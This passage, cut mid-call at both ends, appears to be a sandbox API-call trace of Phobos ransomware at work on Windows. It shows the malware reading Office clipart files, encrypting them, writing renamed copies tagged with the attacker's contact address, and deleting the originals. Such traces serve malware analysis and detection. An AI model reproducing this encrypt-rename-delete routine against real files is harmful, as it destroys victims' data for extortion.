hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0057.436] CryptDestroyKey (hKey=0x10cab0) returned 1 [0057.436] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0057.437] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0057.437] CloseHandle (hObject=0x308) returned 1 [0057.437] CloseHandle (hObject=0x320) returned 1 [0057.438] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0057.439] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0057.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0057.439] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3746) returned 1 [0057.439] CloseHandle (hObject=0x320) returned 1 [0057.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220 [0057.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0057.439] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.440] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0057.440] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d0f0) returned 1 [0057.440] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.440] ReadFile (in: hFile=0x320, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xea2, lpOverlapped=0x0) returned 1 [0057.441] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xeb0, dwBufLen=0xeb0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xeb0) returned 1 [0057.441] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xeb0, lpOverlapped=0x0) returned 1 [0057.442] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ceb0) returned 1 [0057.442] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.442] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0057.442] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0057.442] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0057.442] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0057.443] CloseHandle (hObject=0x320) returned 1 [0057.443] CloseHandle (hObject=0x308) returned 1 [0057.443] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0057.444] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0057.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0057.444] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=5836) returned 1 [0057.444] CloseHandle (hObject=0x308) returned 1 [0057.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220 [0057.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0057.445] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.445] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0057.445] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cc30) returned 1 [0057.445] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.445] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x16cc, lpOverlapped=0x0) returned 1 [0057.447] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x16d0, dwBufLen=0x16d0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x16d0) returned 1 [0057.447] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x16d0, lpOverlapped=0x0) returned 1 [0057.448] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ccf0) returned 1 [0057.448] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.448] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0057.448] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0057.448] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0057.448] CryptDestroyKey (hKey=0x10cc30) returned 1 [0057.448] CloseHandle (hObject=0x308) returned 1 [0057.448] CloseHandle (hObject=0x320) returned 1 [0057.449] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0057.450] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0057.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0057.450] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3012) returned 1 [0057.450] CloseHandle (hObject=0x320) returned 1 [0057.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220 [0057.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0057.450] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.450] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0057.451] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ceb0) returned 1 [0057.451] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.451] ReadFile (in: hFile=0x320, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xbc4, lpOverlapped=0x0) returned 1 [0057.452] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xbd0) returned 1 [0057.452] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xbd0, lpOverlapped=0x0) returned 1 [0057.453] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cf70) returned 1 [0057.453] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.453] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0057.453] CryptDestroyKey (hKey=0x10cf70) returned 1 [0057.453] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0057.453] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0057.453] CloseHandle (hObject=0x320) returned 1 [0057.453] CloseHandle (hObject=0x308) returned 1 [0057.457] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0057.458] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0057.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0057.458] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2756) returned 1 [0057.459] CloseHandle (hObject=0x308) returned 1 [0057.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220 [0057.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0057.459] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.459] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0057.459] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cab0) returned 1 [0057.459] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.459] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xac4, lpOverlapped=0x0) returned 1 [0057.940] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xad0, dwBufLen=0xad0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xad0) returned 1 [0057.940] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xad0, lpOverlapped=0x0) returned 1 [0057.941] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ce70) returned 1 [0057.941] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.941] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0057.941] CryptDestroyKey (hKey=0x10ce70) returned 1 [0057.941] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0057.941] CryptDestroyKey (hKey=0x10cab0) returned 1 [0057.941] CloseHandle (hObject=0x308) returned 1 [0057.941] CloseHandle (hObject=0x320) returned 1 [0057.942] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0057.943] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0057.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0057.943] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=6060) returned 1 [0057.943] CloseHandle (hObject=0x320) returned 1 [0057.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220 [0057.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0057.944] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.944] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0057.944] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d030) returned 1 [0057.944] CryptSetKeyParam (hKey=0x10d030, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.944] ReadFile (in: hFile=0x320, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x17ac, lpOverlapped=0x0) returned 1 [0057.959] CryptEncrypt (in: hKey=0x10d030, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x17b0, dwBufLen=0x17b0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x17b0) returned 1 [0057.959] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x17b0, lpOverlapped=0x0) returned 1 [0057.960] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ceb0) returned 1 [0057.960] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.960] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0057.960] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0057.960] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0057.960] CryptDestroyKey (hKey=0x10d030) returned 1 [0057.960] CloseHandle (hObject=0x320) returned 1 [0057.960] CloseHandle (hObject=0x308) returned 1 [0057.963] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0057.964] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0057.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0057.964] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3416) returned 1 [0057.964] CloseHandle (hObject=0x308) returned 1 [0057.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220 [0057.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0057.967] SetFilePointerEx (in: 